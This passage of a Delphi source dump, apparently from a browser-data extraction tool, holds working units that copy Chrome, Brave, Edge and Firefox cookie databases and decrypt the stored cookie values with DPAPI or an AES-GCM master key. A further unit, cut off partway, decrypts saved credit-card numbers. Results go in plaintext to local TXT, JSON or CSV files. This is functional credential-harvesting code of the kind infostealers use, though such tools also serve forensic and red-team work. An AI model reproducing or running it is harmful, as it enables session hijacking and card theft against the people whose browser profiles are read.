bkChrome); 58 | destructor Destroy; override; 59 | function GetCookies: TCookieItems; 60 | procedure SortCookiesByDate(var Cookies: TCookieItems); 61 | function GetCookieCount: Integer; 62 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat; 63 | end; 64 | 65 | implementation 66 | 67 | function TChromiumCookieHelper.GetProfileName: string; 68 | var 69 | ProfileFolder: string; 70 | begin 71 | ProfileFolder := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath)); 72 | Result := StringReplace(ProfileFolder, '.', '_', [rfReplaceAll]); 73 | end; 74 | 75 | function TChromiumCookieHelper.GetBrowserPrefix: string; 76 | begin 77 | case FBrowserKind of 78 | bkChrome: 79 | Result := 'chrome'; 80 | bkBrave: 81 | Result := 'brave'; 82 | bkEdge: 83 | Result := 'edge'; 84 | end; 85 | end; 86 | 87 | function TChromiumCookieHelper.DecryptValue(const EncryptedValue 88 | : TBytes): string; 89 | var 90 | DecryptedBytes: TBytes; 91 | begin 92 | Result := ''; 93 | if Length(EncryptedValue) > 0 then 94 | begin 95 | // Try DPAPI first 96 | DecryptedBytes := ChromiumCrypto.DecryptWithDPAPI(EncryptedValue); 97 | if Length(DecryptedBytes) > 0 then 98 | try 99 | Result := TEncoding.UTF8.GetString(DecryptedBytes); 100 | except 101 | Result := ''; 102 | end 103 | else 104 | begin 105 | // Try AES-GCM 106 | var 107 | MasterKey := ChromiumCrypto.GetMasterKey(FProfilePath); 108 | if Length(MasterKey) > 0 then 109 | begin 110 | DecryptedBytes := ChromiumCrypto.DecryptWithChromium(MasterKey, 111 | EncryptedValue); 112 | if Length(DecryptedBytes) > 0 then 113 | try 114 | Result := TEncoding.UTF8.GetString(DecryptedBytes); 115 | except 116 | // Fallback to raw char conversion if UTF8 fails 117 | for var i := 0 to Length(DecryptedBytes) - 1 do 118 | if DecryptedBytes[i] >= 32 then 119 | Result := Result + Char(DecryptedBytes[i]); 120 | end; 121 | end; 122 | end; 123 | end; 124 | end; 125 | 126 | procedure TChromiumCookieHelper.EnsureResultsDirectory; 127 | var 128 | ResultsDir: string; 129 | begin 130 | ResultsDir := TPath.Combine(GetCurrentDir, 'results'); 131 | if not TDirectory.Exists(ResultsDir) then 132 | TDirectory.CreateDirectory(ResultsDir); 133 | end; 134 | 135 | procedure TChromiumCookieHelper.OutputHuman(const Cookies: TCookieItems); 136 | var 137 | OutputFile: TextFile; 138 | FileName, FilePath: string; 139 | begin 140 | EnsureResultsDirectory; 141 | FileName := Format('%s_%s_cookies.txt', [GetBrowserPrefix, GetProfileName]); 142 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 143 | AssignFile(OutputFile, FilePath); 144 | try 145 | Rewrite(OutputFile); 146 | for var Item in Cookies do 147 | begin 148 | WriteLn(OutputFile); 149 | WriteLn(OutputFile, 'Host: ', Item.Host); 150 | WriteLn(OutputFile, 'Path: ', Item.Path); 151 | WriteLn(OutputFile, 'Name: ', Item.KeyName); 152 | WriteLn(OutputFile, 'Value: ', Item.Value); 153 | WriteLn(OutputFile, 'Secure: ', Item.IsSecure); 154 | WriteLn(OutputFile, 'HTTPOnly: ', Item.IsHTTPOnly); 155 | WriteLn(OutputFile, 'Has Expire: ', Item.HasExpire); 156 | WriteLn(OutputFile, 'Persistent: ', Item.IsPersistent); 157 | WriteLn(OutputFile, 'Created: ', FormatDateTime('yyyy-mm-dd hh:nn:ss', 158 | Item.CreateDate)); 159 | WriteLn(OutputFile, 'Expires: ', FormatDateTime('yyyy-mm-dd hh:nn:ss', 160 | Item.ExpireDate)); 161 | WriteLn(OutputFile, '----------------------------------------'); 162 | end; 163 | WriteLn(Format('[%s] Cookies saved to: %s', [GetBrowserPrefix.ToUpper, 164 | FilePath])); 165 | 166 | finally 167 | CloseFile(OutputFile); 168 | end; 169 | end; 170 | 171 | procedure TChromiumCookieHelper.OutputJSON(const Cookies: TCookieItems); 172 | var 173 | JSONArray: TJSONArray; 174 | JSONObject: TJSONObject; 175 | FileName, FilePath, JSONString: string; 176 | begin 177 | EnsureResultsDirectory; 178 | JSONArray := TJSONArray.Create; 179 | try 180 | for var Item in Cookies do 181 | begin 182 | JSONObject := TJSONObject.Create; 183 | JSONObject.AddPair('host', TJSONString.Create(Item.Host)); 184 | JSONObject.AddPair('path', TJSONString.Create(Item.Path)); 185 | JSONObject.AddPair('keyName', TJSONString.Create(Item.KeyName)); 186 | JSONObject.AddPair('value', TJSONString.Create(Item.Value)); 187 | JSONObject.AddPair('secure', TJSONBool.Create(Item.IsSecure)); 188 | JSONObject.AddPair('httpOnly', TJSONBool.Create(Item.IsHTTPOnly)); 189 | JSONObject.AddPair('hasExpire', TJSONBool.Create(Item.HasExpire)); 190 | JSONObject.AddPair('persistent', TJSONBool.Create(Item.IsPersistent)); 191 | JSONObject.AddPair('created', FormatDateTime('yyyy-mm-dd hh:nn:ss', 192 | Item.CreateDate)); 193 | JSONObject.AddPair('expires', FormatDateTime('yyyy-mm-dd hh:nn:ss', 194 | Item.ExpireDate)); 195 | JSONArray.AddElement(JSONObject); 196 | end; 197 | 198 | FileName := Format('%s_%s_cookies.json', 199 | [GetBrowserPrefix, GetProfileName]); 200 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), 201 | FileName); 202 | 203 | JSONString := JSONArray.Format(2); 204 | JSONString := StringReplace(JSONString, '\/', '/', [rfReplaceAll]); 205 | TFile.WriteAllText(FilePath, JSONString); 206 | 207 | WriteLn(Format('[%s] Cookies saved to: %s', [GetBrowserPrefix.ToUpper, 208 | FilePath])); 209 | 210 | finally 211 | JSONArray.Free; 212 | end; 213 | end; 214 | 215 | procedure TChromiumCookieHelper.OutputCSV(const Cookies: TCookieItems); 216 | var 217 | OutputFile: TextFile; 218 | FileName, FilePath: string; 219 | begin 220 | EnsureResultsDirectory; 221 | FileName := Format('%s_%s_cookies.csv', [GetBrowserPrefix, GetProfileName]); 222 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 223 | AssignFile(OutputFile, FilePath); 224 | try 225 | Rewrite(OutputFile); 226 | WriteLn(OutputFile, 227 | 'Host,Path,KeyName,Value,IsSecure,IsHTTPOnly,HasExpire,IsPersistent,CreateDate,ExpireDate'); 228 | 229 | for var Item in Cookies do 230 | begin 231 | WriteLn(OutputFile, Format('"%s","%s","%s","%s",%s,%s,%s,%s,"%s","%s"', 232 | [StringReplace(Item.Host, '"', '""', [rfReplaceAll]), 233 | StringReplace(Item.Path, '"', '""', [rfReplaceAll]), 234 | StringReplace(Item.KeyName, '"', '""', [rfReplaceAll]), 235 | StringReplace(Item.Value, '"', '""', [rfReplaceAll]), 236 | BoolToStr(Item.IsSecure, True), BoolToStr(Item.IsHTTPOnly, True), 237 | BoolToStr(Item.HasExpire, True), BoolToStr(Item.IsPersistent, True), 238 | FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.CreateDate), 239 | FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.ExpireDate)])); 240 | end; 241 | 242 | WriteLn(Format('[%s] Cookies saved to: %s', [GetBrowserPrefix.ToUpper, 243 | FilePath])); 244 | 245 | finally 246 | CloseFile(OutputFile); 247 | end; 248 | end; 249 | 250 | procedure TChromiumCookieHelper.OutputCookies(const Cookies: TCookieItems); 251 | begin 252 | case FOutputFormat of 253 | ofHuman: 254 | OutputHuman(Cookies); 255 | ofJSON: 256 | OutputJSON(Cookies); 257 | ofCSV: 258 | OutputCSV(Cookies); 259 | end; 260 | end; 261 | 262 | constructor TChromiumCookieHelper.Create(const AProfilePath: string; 263 | ABrowserKind: TBrowserKind = bkChrome); 264 | 265 | begin 266 | inherited Create; 267 | FProfilePath := AProfilePath; 268 | FBrowserKind := ABrowserKind; 269 | FOutputFormat := ofCSV; 270 | FSQLiteConnection := TUniConnection.Create(nil); 271 | FSQLiteConnection.ProviderName := 'SQLite'; 272 | FSQLiteConnection.LoginPrompt := False; 273 | FSQLiteConnection.SpecificOptions.Values['Direct'] := 'True'; 274 | end; 275 | 276 | destructor TChromiumCookieHelper.Destroy; 277 | begin 278 | if Assigned(FSQLiteConnection) then 279 | begin 280 | if FSQLiteConnection.Connected then 281 | FSQLiteConnection.Disconnect; 282 | FSQLiteConnection.Free; 283 | end; 284 | inherited; 285 | end; 286 | 287 | function TChromiumCookieHelper.GetCookies: TCookieItems; 288 | var 289 | Query: TUniQuery; 290 | CookieDb, TempDb: string; 291 | FS: TFormatSettings; 292 | begin 293 | SetLength(Result, 0); 294 | //CookieDb := TPath.Combine(FProfilePath, 'Cookies'); 295 | CookieDb := TPath.Combine(TPath.Combine(FProfilePath, 'Network'), 'Cookies'); 296 | 297 | if not FileExists(CookieDb) then 298 | Exit; 299 | 300 | // Create temp copy of database 301 | TempDb := TPath.Combine(TPath.GetTempPath, Format('cookies_%s.sqlite', 302 | [TGUID.NewGuid.ToString])); 303 | try 304 | TFile.Copy(CookieDb, TempDb); 305 | FSQLiteConnection.Database := TempDb; 306 | 307 | FSQLiteConnection.Connect; 308 | Query := TUniQuery.Create(nil); 309 | try 310 | Query.Connection := FSQLiteConnection; 311 | Query.SQL.Text := CLOSE_JOURNAL_MODE; 312 | Query.ExecSQL; 313 | Query.SQL.Text := QUERY_CHROMIUM_COOKIE; 314 | Query.Open; 315 | 316 | while not Query.Eof do 317 | begin 318 | SetLength(Result, Length(Result) + 1); 319 | with Result[High(Result)] do 320 | begin 321 | KeyName := Query.FieldByName('name').AsString; 322 | Host := Query.FieldByName('host_key').AsString; 323 | Path := Query.FieldByName('path').AsString; 324 | IsSecure := Query.FieldByName('is_secure').AsInteger = 1; 325 | IsHTTPOnly := Query.FieldByName('is_httponly').AsInteger = 1; 326 | HasExpire := Query.FieldByName('has_expires').AsInteger = 1; 327 | IsPersistent := Query.FieldByName('is_persistent').AsInteger = 1; 328 | 329 | // Decrypt the cookie value 330 | var 331 | EncryptedValue := Query.FieldByName('encrypted_value').AsBytes; 332 | Value := DecryptValue(EncryptedValue); 333 | 334 | var 335 | CreateDateStr := Query.FieldByName('formatted_create_date').AsString; 336 | var 337 | ExpireDateStr := Query.FieldByName('formatted_expire_date').AsString; 338 | 339 | try 340 | FS := TFormatSettings.Create; 341 | FS.DateSeparator := '-'; 342 | FS.TimeSeparator := ':'; 343 | FS.ShortDateFormat := 'yyyy-mm-dd'; 344 | FS.LongTimeFormat := 'hh:nn:ss'; 345 | CreateDate := StrToDateTime(CreateDateStr, FS); 346 | ExpireDate := StrToDateTime(ExpireDateStr, FS); 347 | except 348 | on E: Exception do 349 | begin 350 | WriteLn('Error parsing dates - Create:', CreateDateStr, 351 | ' Expire:', ExpireDateStr, ' - ', E.Message); 352 | CreateDate := 0; 353 | ExpireDate := 0; 354 | end; 355 | end; 356 | end; 357 | Query.Next; 358 | end; 359 | 360 | if Length(Result) > 0 then 361 | begin 362 | SortCookiesByDate(Result); 363 | OutputCookies(Result); 364 | end; 365 | 366 | finally 367 | Query.Free; 368 | FSQLiteConnection.Disconnect; 369 | end; 370 | 371 | finally 372 | if FileExists(TempDb) then 373 | TFile.Delete(TempDb); 374 | end; 375 | end; 376 | 377 | procedure TChromiumCookieHelper.SortCookiesByDate(var Cookies: TCookieItems); 378 | var 379 | i, j: Integer; 380 | temp: TCookieItem; 381 | begin 382 | for i := Low(Cookies) to High(Cookies) - 1 do 383 | for j := i + 1 to High(Cookies) do 384 | if Cookies[i].CreateDate < Cookies[j].CreateDate then 385 | begin 386 | temp := Cookies[i]; 387 | Cookies[i] := Cookies[j]; 388 | Cookies[j] := temp; 389 | end; 390 | end; 391 | 392 | function TChromiumCookieHelper.GetCookieCount: Integer; 393 | var 394 | Query: TUniQuery; 395 | CookieDb, TempDb: string; 396 | begin 397 | Result := 0; 398 | CookieDb := TPath.Combine(FProfilePath, 'Cookies'); 399 | 400 | if not FileExists(CookieDb) then 401 | Exit; 402 | 403 | // Create temp copy of database 404 | TempDb := TPath.Combine(TPath.GetTempPath, Format('cookies_%s.sqlite', 405 | [TGUID.NewGuid.ToString])); 406 | try 407 | TFile.Copy(CookieDb, TempDb); 408 | FSQLiteConnection.Database := TempDb; 409 | 410 | try 411 | FSQLiteConnection.Connect; 412 | Query := TUniQuery.Create(nil); 413 | try 414 | Query.Connection := FSQLiteConnection; 415 | Query.SQL.Text := 'SELECT COUNT(*) as count FROM cookies'; 416 | Query.Open; 417 | Result := Query.FieldByName('count').AsInteger; 418 | finally 419 | Query.Free; 420 | end; 421 | finally 422 | FSQLiteConnection.Disconnect; 423 | end; 424 | finally 425 | if FileExists(TempDb) then 426 | TFile.Delete(TempDb); 427 | end; 428 | end; 429 | 430 | end. 431 | -------------------------------------------------------------------------------- /src/browserdata/cookie/FirefoxCookie.pas: -------------------------------------------------------------------------------- 1 | unit FirefoxCookie; 2 | 3 | interface 4 | 5 | uses 6 | System.SysUtils, System.Classes, System.IOUtils, System.Generics.Collections, 7 | System.Generics.Defaults, System.DateUtils, System.JSON, System.StrUtils, 8 | Uni, SQLiteUniProvider; 9 | 10 | type 11 | TOutputFormat = (ofHuman, ofJSON, ofCSV); 12 | 13 | TCookieItem = record 14 | Host: string; 15 | Path: string; 16 | KeyName: string; 17 | Value: string; 18 | IsSecure: Boolean; 19 | IsHTTPOnly: Boolean; 20 | HasExpire: Boolean; 21 | IsPersistent: Boolean; 22 | CreateDate: TDateTime; 23 | ExpireDate: TDateTime; 24 | end; 25 | 26 | TCookieItems = TArray; 27 | 28 | TFirefoxCookieHelper = class 29 | private 30 | FProfilePath: string; 31 | FOutputFormat: TOutputFormat; 32 | FSQLiteConnection: TUniConnection; 33 | 34 | const 35 | QUERY_FIREFOX_COOKIE = 36 | 'SELECT name, value, host, path, ' + 37 | 'strftime(''%Y-%m-%d %H:%M:%S'', creationTime/1000000, ''unixepoch'', ''localtime'') as formatted_create_date, ' + 38 | 'strftime(''%Y-%m-%d %H:%M:%S'', expiry, ''unixepoch'', ''localtime'') as formatted_expire_date, ' + 39 | 'isSecure, isHttpOnly FROM moz_cookies'; 40 | 41 | CLOSE_JOURNAL_MODE = 'PRAGMA journal_mode=off'; 42 | function GetProfileName: string; 43 | procedure EnsureResultsDirectory; 44 | procedure OutputHuman(const Cookies: TCookieItems); 45 | procedure OutputJSON(const Cookies: TCookieItems); 46 | procedure OutputCSV(const Cookies: TCookieItems); 47 | procedure OutputCookies(const Cookies: TCookieItems); 48 | public 49 | constructor Create(const AProfilePath: string); 50 | destructor Destroy; override; 51 | function GetCookies: TCookieItems; 52 | procedure SortCookiesByDate(var Cookies: TCookieItems); 53 | function GetCookieCount: Integer; 54 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat; 55 | end; 56 | 57 | implementation 58 | 59 | function TFirefoxCookieHelper.GetProfileName: string; 60 | var 61 | ProfileFolder: string; 62 | begin 63 | ProfileFolder := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath)); 64 | Result := StringReplace(ProfileFolder, '.', '_', [rfReplaceAll]); 65 | end; 66 | 67 | procedure TFirefoxCookieHelper.EnsureResultsDirectory; 68 | var 69 | ResultsDir: string; 70 | begin 71 | ResultsDir := TPath.Combine(GetCurrentDir, 'results'); 72 | if not TDirectory.Exists(ResultsDir) then 73 | TDirectory.CreateDirectory(ResultsDir); 74 | end; 75 | 76 | procedure TFirefoxCookieHelper.OutputHuman(const Cookies: TCookieItems); 77 | var 78 | OutputFile: TextFile; 79 | FileName, FilePath: string; 80 | begin 81 | EnsureResultsDirectory; 82 | FileName := Format('firefox_%s_cookies.txt', [GetProfileName]); 83 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 84 | AssignFile(OutputFile, FilePath); 85 | try 86 | Rewrite(OutputFile); 87 | for var Item in Cookies do 88 | begin 89 | WriteLn(OutputFile); 90 | WriteLn(OutputFile, 'Host: ', Item.Host); 91 | WriteLn(OutputFile, 'Path: ', Item.Path); 92 | WriteLn(OutputFile, 'Name: ', Item.KeyName); 93 | WriteLn(OutputFile, 'Value: ', Item.Value); 94 | WriteLn(OutputFile, 'Secure: ', Item.IsSecure); 95 | WriteLn(OutputFile, 'HTTPOnly: ', Item.IsHTTPOnly); 96 | WriteLn(OutputFile, 'Has Expire: ', Item.HasExpire); 97 | WriteLn(OutputFile, 'Persistent: ', Item.IsPersistent); 98 | WriteLn(OutputFile, 'Created: ', FormatDateTime('yyyy-mm-dd hh:nn:ss', 99 | Item.CreateDate)); 100 | WriteLn(OutputFile, 'Expires: ', FormatDateTime('yyyy-mm-dd hh:nn:ss', 101 | Item.ExpireDate)); 102 | WriteLn(OutputFile, '----------------------------------------'); 103 | end; 104 | WriteLn('[FIREFOX] Cookies saved to: ', FilePath); 105 | finally 106 | CloseFile(OutputFile); 107 | end; 108 | end; 109 | 110 | procedure TFirefoxCookieHelper.OutputJSON(const Cookies: TCookieItems); 111 | var 112 | JSONArray: TJSONArray; 113 | JSONObject: TJSONObject; 114 | FileName, FilePath, JSONString: string; 115 | begin 116 | EnsureResultsDirectory; 117 | JSONArray := TJSONArray.Create; 118 | try 119 | for var Item in Cookies do 120 | begin 121 | JSONObject := TJSONObject.Create; 122 | JSONObject.AddPair('host', TJSONString.Create(Item.Host)); 123 | JSONObject.AddPair('path', TJSONString.Create(Item.Path)); 124 | JSONObject.AddPair('keyName', TJSONString.Create(Item.KeyName)); 125 | JSONObject.AddPair('value', TJSONString.Create(Item.Value)); 126 | JSONObject.AddPair('secure', TJSONBool.Create(Item.IsSecure)); 127 | JSONObject.AddPair('httpOnly', TJSONBool.Create(Item.IsHTTPOnly)); 128 | JSONObject.AddPair('hasExpire', TJSONBool.Create(Item.HasExpire)); 129 | JSONObject.AddPair('persistent', TJSONBool.Create(Item.IsPersistent)); 130 | JSONObject.AddPair('created', FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.CreateDate)); 131 | JSONObject.AddPair('expires', FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.ExpireDate)); 132 | JSONArray.AddElement(JSONObject); 133 | end; 134 | 135 | FileName := Format('firefox_%s_cookies.json', [GetProfileName]); 136 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 137 | 138 | // Convert JSON to string 139 | JSONString := JSONArray.Format(2); 140 | 141 | // Replace escaped forward slashes \/ with / 142 | JSONString := StringReplace(JSONString, '\/', '/', [rfReplaceAll]); 143 | 144 | // Save the modified JSON string 145 | TFile.WriteAllText(FilePath, JSONString); 146 | 147 | WriteLn('[FIREFOX] Cookies saved to: ', FilePath); 148 | finally 149 | JSONArray.Free; 150 | end; 151 | end; 152 | 153 | procedure TFirefoxCookieHelper.OutputCSV(const Cookies: TCookieItems); 154 | var 155 | OutputFile: TextFile; 156 | FileName, FilePath: string; 157 | begin 158 | EnsureResultsDirectory; 159 | FileName := Format('firefox_%s_cookies.csv', [GetProfileName]); 160 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 161 | AssignFile(OutputFile, FilePath); 162 | try 163 | Rewrite(OutputFile); 164 | WriteLn(OutputFile, 165 | 'Host,Path,KeyName,Value,IsSecure,IsHTTPOnly,HasExpire,IsPersistent,CreateDate,ExpireDate'); 166 | 167 | for var Item in Cookies do 168 | begin 169 | WriteLn(OutputFile, Format('"%s","%s","%s","%s",%s,%s,%s,%s,"%s","%s"', 170 | [StringReplace(Item.Host, '"', '""', [rfReplaceAll]), 171 | StringReplace(Item.Path, '"', '""', [rfReplaceAll]), 172 | StringReplace(Item.KeyName, '"', '""', [rfReplaceAll]), 173 | StringReplace(Item.Value, '"', '""', [rfReplaceAll]), 174 | BoolToStr(Item.IsSecure, True), BoolToStr(Item.IsHTTPOnly, True), 175 | BoolToStr(Item.HasExpire, True), BoolToStr(Item.IsPersistent, True), 176 | FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.CreateDate), 177 | FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.ExpireDate)])); 178 | end; 179 | 180 | WriteLn('[FIREFOX] Cookies saved to: ', FilePath); 181 | finally 182 | CloseFile(OutputFile); 183 | end; 184 | end; 185 | 186 | procedure TFirefoxCookieHelper.OutputCookies(const Cookies: TCookieItems); 187 | begin 188 | case FOutputFormat of 189 | ofHuman: 190 | OutputHuman(Cookies); 191 | ofJSON: 192 | OutputJSON(Cookies); 193 | ofCSV: 194 | OutputCSV(Cookies); 195 | end; 196 | end; 197 | 198 | constructor TFirefoxCookieHelper.Create(const AProfilePath: string); 199 | begin 200 | inherited Create; 201 | FProfilePath := AProfilePath; 202 | FOutputFormat := ofCSV; 203 | FSQLiteConnection := TUniConnection.Create(nil); 204 | FSQLiteConnection.ProviderName := 'SQLite'; 205 | FSQLiteConnection.LoginPrompt := False; 206 | FSQLiteConnection.SpecificOptions.Values['Direct'] := 'True'; 207 | end; 208 | 209 | destructor TFirefoxCookieHelper.Destroy; 210 | begin 211 | if Assigned(FSQLiteConnection) then 212 | begin 213 | if FSQLiteConnection.Connected then 214 | FSQLiteConnection.Disconnect; 215 | FSQLiteConnection.Free; 216 | end; 217 | inherited; 218 | end; 219 | 220 | function TFirefoxCookieHelper.GetCookies: TCookieItems; 221 | var 222 | Query: TUniQuery; 223 | CookieDb, TempDb: string; 224 | FS: TFormatSettings; 225 | begin 226 | SetLength(Result, 0); 227 | CookieDb := TPath.Combine(FProfilePath, 'cookies.sqlite'); 228 | 229 | if not FileExists(CookieDb) then 230 | Exit; 231 | 232 | // Create temp copy of database 233 | TempDb := TPath.Combine(TPath.GetTempPath, Format('cookies_%s.sqlite', 234 | [TGUID.NewGuid.ToString])); 235 | try 236 | TFile.Copy(CookieDb, TempDb); 237 | FSQLiteConnection.Database := TempDb; 238 | 239 | FSQLiteConnection.Connect; 240 | Query := TUniQuery.Create(nil); 241 | try 242 | Query.Connection := FSQLiteConnection; 243 | Query.SQL.Text := CLOSE_JOURNAL_MODE; 244 | Query.ExecSQL; 245 | Query.SQL.Text := QUERY_FIREFOX_COOKIE; 246 | Query.Open; 247 | 248 | while not Query.Eof do 249 | begin 250 | SetLength(Result, Length(Result) + 1); 251 | with Result[High(Result)] do 252 | begin 253 | Host := Query.FieldByName('host').AsString; 254 | Path := Query.FieldByName('path').AsString; 255 | KeyName := Query.FieldByName('name').AsString; 256 | Value := Query.FieldByName('value').AsString; 257 | IsSecure := Query.FieldByName('isSecure').AsInteger = 1; 258 | IsHTTPOnly := Query.FieldByName('isHttpOnly').AsInteger = 1; 259 | HasExpire := True; 260 | IsPersistent := True; 261 | 262 | var CreateDateStr := Query.FieldByName('formatted_create_date').AsString; 263 | 264 | try 265 | FS := TFormatSettings.Create; 266 | FS.DateSeparator := '-'; 267 | FS.TimeSeparator := ':'; 268 | FS.ShortDateFormat := 'yyyy-mm-dd'; 269 | FS.LongTimeFormat := 'hh:nn:ss'; 270 | CreateDate := StrToDateTime(CreateDateStr, FS); 271 | except 272 | on E: Exception do 273 | begin 274 | WriteLn('Error parsing create date: ' + CreateDateStr + ' - ' + E.Message); 275 | CreateDate := 0; 276 | end; 277 | end; 278 | 279 | var ExpireDateStr := Query.FieldByName('formatted_expire_date').AsString; 280 | 281 | try 282 | ExpireDate := StrToDateTime(ExpireDateStr, FS); 283 | except 284 | on E: Exception do 285 | begin 286 | WriteLn('Error parsing expire date: ' + ExpireDateStr + ' - ' + E.Message); 287 | ExpireDate := 0; 288 | end; 289 | end; 290 | end; 291 | Query.Next; 292 | end; 293 | 294 | if Length(Result) > 0 then 295 | begin 296 | SortCookiesByDate(Result); 297 | OutputCookies(Result); 298 | end; 299 | 300 | finally 301 | Query.Free; 302 | FSQLiteConnection.Disconnect; 303 | end; 304 | 305 | finally 306 | if FileExists(TempDb) then 307 | TFile.Delete(TempDb); 308 | end; 309 | end; 310 | 311 | procedure TFirefoxCookieHelper.SortCookiesByDate(var Cookies: TCookieItems); 312 | var 313 | i, j: Integer; 314 | temp: TCookieItem; 315 | begin 316 | for i := Low(Cookies) to High(Cookies) - 1 do 317 | for j := i + 1 to High(Cookies) do 318 | if Cookies[i].CreateDate < Cookies[j].CreateDate then 319 | begin 320 | temp := Cookies[i]; 321 | Cookies[i] := Cookies[j]; 322 | Cookies[j] := temp; 323 | end; 324 | end; 325 | 326 | function TFirefoxCookieHelper.GetCookieCount: Integer; 327 | var 328 | Query: TUniQuery; 329 | CookieDb, TempDb: string; 330 | begin 331 | Result := 0; 332 | CookieDb := TPath.Combine(FProfilePath, 'cookies.sqlite'); 333 | 334 | if not FileExists(CookieDb) then 335 | Exit; 336 | 337 | // Create temp copy of database 338 | TempDb := TPath.Combine(TPath.GetTempPath, Format('cookies_%s.sqlite', 339 | [TGUID.NewGuid.ToString])); 340 | try 341 | TFile.Copy(CookieDb, TempDb); 342 | FSQLiteConnection.Database := TempDb; 343 | 344 | try 345 | FSQLiteConnection.Connect; 346 | Query := TUniQuery.Create(nil); 347 | try 348 | Query.Connection := FSQLiteConnection; 349 | Query.SQL.Text := 'SELECT COUNT(*) as count FROM moz_cookies'; 350 | Query.Open; 351 | Result := Query.FieldByName('count').AsInteger; 352 | finally 353 | Query.Free; 354 | end; 355 | finally 356 | FSQLiteConnection.Disconnect; 357 | end; 358 | finally 359 | if FileExists(TempDb) then 360 | TFile.Delete(TempDb); 361 | end; 362 | end; 363 | 364 | end. 365 | -------------------------------------------------------------------------------- /src/browserdata/creditcard/ChromiumCreditCard.pas: -------------------------------------------------------------------------------- 1 | unit ChromiumCreditCard; 2 | 3 | interface 4 | 5 | uses 6 | System.SysUtils, System.Classes, System.IOUtils, System.DateUtils, 7 | System.JSON, System.NetEncoding, System.Generics.Collections, 8 | Winapi.Windows, Uni, SQLiteUniProvider; 9 | 10 | type 11 | TBrowserKind = (bkChrome, bkBrave, bkEdge); 12 | 13 | TOutputFormat = (ofHuman, ofJSON, ofCSV); 14 | 15 | TCreditCardData = record 16 | GUID: string; 17 | Name: string; 18 | ExpirationYear: string; 19 | ExpirationMonth: string; 20 | CardNumber: string; 21 | Address: string; 22 | NickName: string; 23 | end; 24 | 25 | TCreditCardDataArray = TArray; 26 | 27 | TChromiumCreditCardHelper = class 28 | private 29 | FProfilePath: string; 30 | FOutputFormat: TOutputFormat; 31 | FBrowserKind: TBrowserKind; 32 | FSQLiteConnection: TUniConnection; 33 | 34 | const 35 | QUERY_Chromium_CREDITCARD = 36 | 'SELECT guid, name_on_card, expiration_month, expiration_year, ' + 37 | 'card_number_encrypted, billing_address_id, nickname ' + 38 | 'FROM credit_cards'; 39 | 40 | function GetProfileName: string; 41 | function GetBrowserPrefix: string; 42 | procedure EnsureResultsDirectory; 43 | procedure OutputHuman(const CreditCards: TCreditCardDataArray); 44 | procedure OutputJSON(const CreditCards: TCreditCardDataArray); 45 | procedure OutputCSV(const CreditCards: TCreditCardDataArray); 46 | procedure OutputCreditCards(const CreditCards: TCreditCardDataArray); 47 | function DecryptWithDPAPI(const EncryptedData: TBytes): string; 48 | 49 | public 50 | constructor Create(const AProfilePath: string; 51 | ABrowserKind: TBrowserKind = bkChrome); 52 | destructor Destroy; override; 53 | function GetCreditCards: TCreditCardDataArray; 54 | function GetCreditCardCount: Integer; 55 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat; 56 | end; 57 | 58 | implementation 59 | 60 | type 61 | DATA_BLOB = record 62 | cbData: DWORD; 63 | pbData: PByte; 64 | end; 65 | 66 | PDATA_BLOB = ^DATA_BLOB; 67 | 68 | TCryptUnprotectData = function(pDataIn: PDATA_BLOB; ppszDataDescr: PWideChar; 69 | pOptionalEntropy: PDATA_BLOB; pvReserved: Pointer; pPromptStruct: Pointer; 70 | dwFlags: DWORD; pDataOut: PDATA_BLOB): BOOL; stdcall; 71 | 72 | function TChromiumCreditCardHelper.DecryptWithDPAPI(const EncryptedData 73 | : TBytes): string; 74 | var 75 | DLLHandle: THandle; 76 | CryptUnprotectData: TCryptUnprotectData; 77 | DataIn, DataOut: DATA_BLOB; 78 | DecryptedBytes: TBytes; 79 | begin 80 | Result := ''; 81 | if Length(EncryptedData) = 0 then 82 | Exit; 83 | 84 | DLLHandle := LoadLibrary('Crypt32.dll'); 85 | if DLLHandle = 0 then 86 | Exit; 87 | 88 | try 89 | @CryptUnprotectData := GetProcAddress(DLLHandle, 'CryptUnprotectData'); 90 | if not Assigned(CryptUnprotectData) then 91 | Exit; 92 | 93 | DataIn.cbData := Length(EncryptedData); 94 | DataIn.pbData := @EncryptedData[0]; 95 | 96 | if CryptUnprotectData(@DataIn, nil, nil, nil, nil, 0, @DataOut) then 97 | begin 98 | SetLength(DecryptedBytes, DataOut.cbData); 99 | Move(DataOut.pbData^, DecryptedBytes[0], DataOut.cbData); 100 | LocalFree(HLOCAL(DataOut.pbData)); 101 | Result := TEncoding.UTF8.GetString(DecryptedBytes); 102 | end; 103 | finally 104 | FreeLibrary(DLLHandle); 105 | end; 106 | end; 107 | 108 | function TChromiumCreditCardHelper.GetProfileName: string; 109 | begin 110 | Result := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath)); 111 | end; 112 | 113 | function TChromiumCreditCardHelper.GetBrowserPrefix: string; 114 | begin 115 | case FBrowserKind of 116 | bkChrome: 117 | Result := 'chrome'; 118 | bkBrave: 119 | Result := 'brave'; 120 | bkEdge: 121 | Result := 'edge'; 122 | end; 123 | end; 124 | 125 | procedure TChromiumCreditCardHelper.EnsureResultsDirectory; 126 | var 127 | ResultsDir: string; 128 | begin 129 | ResultsDir := TPath.Combine(GetCurrentDir, 'results'); 130 | if not TDirectory.Exists(ResultsDir) then 131 | TDirectory.CreateDirectory(ResultsDir); 132 | end; 133 | 134 | procedure TChromiumCreditCardHelper.OutputHuman(const CreditCards 135 | : TCreditCardDataArray); 136 | var 137 | OutputFile: TextFile; 138 | 